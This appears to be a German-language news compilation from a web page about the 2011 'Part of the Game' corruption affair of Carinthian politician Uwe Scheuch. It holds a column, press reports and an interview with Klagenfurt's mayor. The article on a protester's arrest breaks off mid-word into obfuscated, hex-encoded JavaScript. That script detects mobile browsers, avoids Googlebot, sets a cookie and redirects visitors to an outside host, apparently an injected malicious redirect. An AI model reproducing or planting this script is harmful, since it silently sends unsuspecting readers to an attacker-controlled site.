SCHEUCH

Über das Fehlen von Unrechtsbewusstsein, Anstand und Reue in der
Kärntner Politik.

EGYD GSTÄTTNER

Er hat nicht Hump gesagt und Lump gemeint. Er hat nicht „art of
shame“ und auch nicht „fart of blame“ gesagt, sondern – nona
– „part of the game“.

Was er gesagt hat, bestreitet er (mittlerweile) gar nicht. Das
weiß das ganze (obrigkeitshörige) Land auch schon seit zwei langen
Jahren. Aber das Unrechtsbewusstsein fehlt bei ihm restlos! Nona:
Wenn man in höchster Position schon so lange ungestraft und ganz
selbstverständlich korrupt ist, woher sollten dann jetzt plötzlich
Anstand, Reue oder Gewissen kommen? Wer nicht für mich ist, ist
gegen mich, Diffamierung, Morddrohung, basta! Nach der politischen
Konkurrenz sind es jetzt eben die Medien, die Justiz…; Wurscht!
Durchtauchen! Kaugummikauen! Selbstverteidigung mit öffentlichem
Geld drucken!

Der Landeshauptmann verteidigt seinen Chef und Stellvertreter mit
dem seltsamen Argument, er habe ja nur so dahergeredet. Bei der
führenden Kaste ist die Einsicht mittlerweile völlig
abhandengekommen, dass Korruption nicht erst bei der ausgeführten
Tat, sondern beim Wort, ja beim (lauten) Gedanken beginnt. Seine
wirkliche Wahrheit sagt ein Politiker – wenn überhaupt – eben am
ehesten „off camera“. (Eine Gemeinheit, dass ausgerechnet ein
frustrierter Parteifreund das Gespräch heimlich mitgeschnitten hat).

Es fehlt bei der Führungskaste völlig das Verständnis dafür,
dass für einen gewählten (und mit massiven Privilegien
ausgestatteten) Volksvertreter höhere moralische Maßstäbe gelten
(sollten) als für irgendeinen Privatier, der zum Beispiel
stockbesoffen mit 142 km/h durchs Ortsgebiet rast…; Aber wenn man
seinen hoch dotierten Machtposten letztlich einem zu verdanken hat,
für den keine Regeln und keine Gesetze galten…; der versuchte
zumindest den Anschein zu erwecken, auch für Land und Leute zu
wirken.

Vom jetzigen LHstv ist keine Idee zu Bekanntheit gelangt, keine
politische Tat, schon gar keine Sozialleistung. Er wird als
volksferner Finanzabenteurer und skrupelloser Selbstbediener in die
Geschichte eingehen, als nichts sonst. Übrig bleiben wird vom
moralischen Flachwurzler no art of shame, no fart of blame, bloß
Korruptheit als part of the game.

Scheuch verteidigt sich per Postwurf

Uwe Scheuch (FPK) verteidigt sich weiter
gegen das aus seiner Sicht „vollkommen überzogene und parteipolitisch
motivierte Fehlurteil“ in der „Part-of-the-Game“-Affäre – nun auch per
Postwurf an alle Kärntner Haushalte. Dies sorgte für heftige Kritik.
„Positive Entwicklungen“ im Land seien seit knapp zehn Jahren im Mittelpunkt seiner Arbeit, so Scheuch.
„Gerichte haben Erklärung ignoriert“
Scheuch war in der Vorwoche zu 18 Monaten
teilbedingter Haft verurteilt worden und hatte das Urteil beeinsprucht.
Dienstagfrüh flatterten die ersten „Verteidigungs“-Flugblätter des
LH-Vizes und FPK-Chefs in die Briefkästen der Kärntner.

In dem auf derstandard.at veröffentlichten Schreiben heißt es, Scheuch
wende sich an jene „über 580.000 Kärntnerinnen und Kärntner, denen ich
mich mit meiner Arbeit und meiner Funktion verpflichtet fühle“. Laut
Volkszählung 2001 hat Kärnten allerdings nur 559.000 Einwohner und
kämpft gegen die Abwanderung.

Das Gericht habe laut Scheuch-Brief seine „persönliche Sichtweise und
Erklärung vollkommen ignoriert“. Seit beinahe zehn Jahren habe er die
„positive Entwicklung“ Kärntens in den Mittelpunkt seiner Arbeit
gestellt.
Scheuch: „Entschuldigung an alle, die ich enttäuscht habe.“
Scheuch: Opfer „linker Jagdgesellschaft“
Nach dem plötzlichen Unfalltod des
ehemaligen LH Jörg Haider, der bereits „von den Medien verfolgt“ worden
sei, habe die „linke Jagdgesellschaft“ die Rolle auf ihn übertragen. Die
„unfähige Justiz“ lasse „kriminelle Asylwerber“ und „Kinderschänder“
frei herumlaufen.

Ein „medialer Schauprozess“ sei inszeniert worden, holt der
FPK-Politiker zum Rundumschlag aus. Doch „bei allen, die ich trotzdem
enttäuscht habe, möchte ich mich entschuldigen“, so Scheuch. Für was
genau er sich entschuldigen will, lässt der LH-Vize allerdings offen.

Brecht-Zitat am Schluss des Schreibens
Im Schlusszitat verwendet Scheuch das
bekannte Zitat „Wer kämpft, kann gewinnen. Wer nicht kämpft, hat schon
verloren“. Das stammt allerdings von der Ikone der westdeutschen Linken,
dem Dichter Bertolt Brecht.
Kosten „zwischen 20.000 und 30.000 Euro“.
Scheuch: „Kostengünstiger als Inserate“
Die Briefe, die auf Parteikosten versandt
wurden, ist mit der Kärntner Fahne und dem Landeswappen versehen.
Gezeichnet hat Scheuch den Brief als Landeshauptmann-Stellvertreter und
nicht als FPK-Chef. Die Kosten belaufen sich laut Scheuch auf „20.000
bis 30.000 Euro“.

Den Weg des Postwurfs habe er gewählt, da diese Form kostengünstiger sei
als Inserate in Tageszeitungen, „wo das Inserat auch neben bösen
Kommentaren“ landen könnte, so Scheuch. Auch würden so alle Kärntner
erreicht, „nicht nur jene mit einem Zeitungsabonnement“.

SPÖ: „Amokfahrt gegen Rechtsstaat“
SPÖ-Klubobmann Reinhart Rohr kritisierte,
Scheuch habe mit dem Brief sein „mangelndes Unrechtsbewusstsein“
schriftlich bestätigt.

SPÖ-Chef Peter Kaiser sagte dazu: „Wir müssen die politischen
Geisterfahrer von FPK und FPÖ auf ihrer Amokfahrt gegen den Rechtsstaat,
gegen die Demokratie und gegen den sozialen Frieden im Land stoppen.“
Grüne fordert Regierungsteam zu Rücktritt auf
Die Grünen kritisieren, mit dem Postwurf verlasse die FPK „den Rahmen von Rechtsstaatlichkeit und Demokratie“.

Frank Frey, Landesparteisekretär der Grünen, meinte, für ihn sei die FPK
als Regierungspartei nicht mehr tragbar. „Ich fordere den Rücktritt der
gesamten Landesregierung und umgehende Neuwahlen, um Kärnten von dieser
unerträglichen Vereinnahmung zu befreien.“
ÖVP: Dörfler soll Scheuch „zurückpfeifen“
Auch die ÖVP meldete sich am
Dienstagnachmittag zu Wort. Landesparteisekretär Achill Rumpold sagte,
es werde Zeit, dass LH Dörfler Scheuch zurückpfeife. Mit dem Brief
entferne sich Scheuch „immer weiter vom Boden des Rechtsstaates“.

Die Ungleichbehandlung von gerichtlich verurteilten Beamten und
Politikern wollen ÖVP und SPÖ abschaffen. Rund um die Verurteilung von
Scheuch in erster Instanz wurde der Unterschied in den gesetzlichen
Bestimmungen bekannt.

Verfassungsänderung steht an

Kleine Zeitung, ADOLF WINKLER, 9.8.2011
Christian Scheider: „Konfrontation mit der Justiz lehne ich ab“

Christian Scheider, Bürgermeister von Klagenfurt, fordert Sanktionen für FPK-Funktionäre, die Richter bedrohen.

Foto © Weichselbraun

Christian Scheider fordert Konsequenzen für FPK-Funktionäre, die Richter bedrohen.

Als
Klagenfurter Bürgermeister und Parteichef hat ihre Stimme in der FPK
Gewicht. Wie erheben Sie sie in der Causa Uwe Scheuch, die zuletzt sogar
mit Drohungen gegen die Justiz eskalierte?

CHRISTIAN SCHEIDER: Drohungen gegen den Richter kann ich nicht
goutieren. Da bin ich völlig dagegen. Das Urteil war sicher hart. Dazu
sollten Fakten überall in Österreich gleich beurteilt werden. Es ist das
gute Recht, dass man Instanzen ausschöpft und in der zweiten Instanz
auf eine Verbesserung hofft und sich darauf gut vorbereitet. Jetzt gilt
es den Ball flach zu halten und zu schauen, dass die Partei wieder zur
Ruhe kommt.

Was heißt das konkret, den Ball flach zu halten?

SCHEIDER: Was in den letzten Tagen an überzogenen Reaktionen oder an
Leserbriefen kam, lehne ich ab. Das ist falsch und kontraproduktiv.

Wenn Funktionäre Mafia-Drohungen gegen Richter andeuten…

SCHEIDER: …wenn ein Funktionär nachgewiesen Drohungen gegen einen
Richter oder die Justiz ausgesprochen hat, dann muss das nicht nur
rechtlich verfolgt werden, sondern für den muss es in der Partei auch
ganz klar Konsequenzen geben. Mit so etwas will ich nichts zu tun haben.

Uwe Scheuch verschickt nun selbst Briefe, in denen er die Justiz angreift und ihr Fehlurteil vorhält.

SCHEIDER: Dass man über Entscheidungen unterschiedliche Meinung hat,
ist zulässig. Eine Konfrontation mit der Justiz lehne ich ab. Ich
plädiere für Zurücknahme in der Wortwahl und nicht für Polarisierung.

Wo bleibt die Sauberkeit, wenn Scheuch nicht abtritt?

SCHEIDER: Es ist Diskussionssache, was besser ist: Das Amt abzugeben
bis zur zweiten Instanz oder nicht. Man muss jedem die Chance auf
Rechtskraft geben. Jetzt gibt es nur ein Ersturteil.

Wie würden Sie persönlich in der Situation handeln?

SCHEIDER: Schwer zu sagen. Wenn man persönlich betroffen und der
Meinung ist, dass das Urteil zu hart ist, kann man es möglicherweise
nicht mehr so objektiv sehen.

Aber stellt Uwe Scheuch nicht sein Interesse über das von Partei und Land?

SCHEIDER: Das will ich nicht beurteilen. Wichtig ist, dass man jetzt
den Wind herausnimmt und dazu beiträgt, dass es nicht zu Überreaktionen
kommt.

Sollte Scheuch abtreten oder das Zweiturteil es bedingen, will Klagenfurt dann den Regierungssitz?

SCHEIDER: Daran denke ich noch gar nicht. Die Klagenfurter FPK ist
eine starke Gruppe in der Landespartei, wir setzen das aber für die
Stadt ein und nicht für irgendwelche Positionen.

Haben Sie als Bürgermeister schon einmal für die Einbürgerung eines Investors interveniert?

SCHEIDER: Nein, niemals.

Wie grenzt sich ihr Verhältnis zur Justiz ab von jenem Scheuchs oder Heinz Christian Straches?

SCHEIDER: Ich habe direkt mit der Justiz noch nie zu tun gehabt. Für
mich ist sie eine Instanz, die nach der Gewaltentrennung entsprechend zu
beachten ist. Ich versuche alles so sorgfältig zu machen, dass ich kein
Problem bekomme.

Im Rathaus haben Sie unzählige Justizfälle um die Ohren, ganz oben die Causa Jost. Wie wird die korrekt zu Ende gebracht?

SCHEIDER: Ich musste mit der Einschaltung des Kontrollamtes aktiv
werden und selbst seine Suspendierung aussprechen. Auf den Bericht eines
Ermittlungsbeamten der Korruptionsstaatsanwaltschaft gibt es nun die
Stellungnahme des Kontrollamtes und der Stadt mit ihrem Anwalt. Über den
Entwurf entscheidet der Kontrollausschuss. Ich wollte immer
Deeskalation und bin vom Richter beauftragt, Vergleichsverhandlungen mit
Jost zu führen, der arbeiten will. Da sind wir im Gespräch. Aber erst
muss die Korruptionsstaatsanwaltschaft entscheiden.

Kleine Zeitung, 8.8.2011
Mann mit Anti-Scheuch-Shirt auf Kirchtag verhaftet
Ein
44-jähriger Villacher trug auf dem Villacher Kirchtag ein Hemd mit der
Aufschrift: „Uwe geh in Häfn“. Er behauptet, beim Kirchtagsumzug von
FPKlern getreten und von einem Polizisten misshandelt worden zu sein.Foto © KKDa war die Welt für Wolfgang Schneider, die Journalistin Christine Grabner und ihre Schwester Daniela noch in Ordnung Wolfgang
Schneider hatte Lust auf eine „Spaßaktion“. Am Samstag zog sich der
44-Jährige ein selbst gemachtes T-Shirt an mit der Aufschrift „Uwe geh
in Häfn! That““““““““““““““““s part of the game“ und stellte sich an den Rand des
Villacher Kirchtagsumzugs. „Als der zu Ende war, gab es eine Lücke,
Menschen gingen auf die Straße, dann kamen FPK-Leute und verteilten
blaue Lebkuchenherzen. Ich reihte mich ein und winkte den Zuschauern
zu.“

Nach 20 Metern, so der Villacher, passierte Folgendes: Die FPKler
traten ihm in die Beine und versuchten, das T-Shirt herunterzureißen.
Dann holten sie einen Polizisten. Der wollte, dass Schneider weggeht.
Als der sich weigerte – „Das ist ein öffentlicher Platz“ -, drückte ihm
der Polizist von hinten gegen die Kehle und zerrte ihn weg. Der Polizist
wollte Schneiders Ausweis sehen und dieser die Dienstnummer des
Polizisten. Der verhaftete Schneider packte ihn heftig und als Schneider
protestierte, lag er plötzlich auf dem Bauch. Die Arme wurde nach
hinten gebogen, Handschellen wurden angelegt. Der Amtsarzt stellte
später Hämatome am Arm und einen geschwollenen Daumen fest.
Als eine Begleiterin Schneiders, die renommierte „Am
Schauplatz“-Journalistin Christine Grabner, in das Polizeirevier
Hauptplatz kam und die Identität Schneiders belegte, wurde er aus dervar _0x446d=[„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}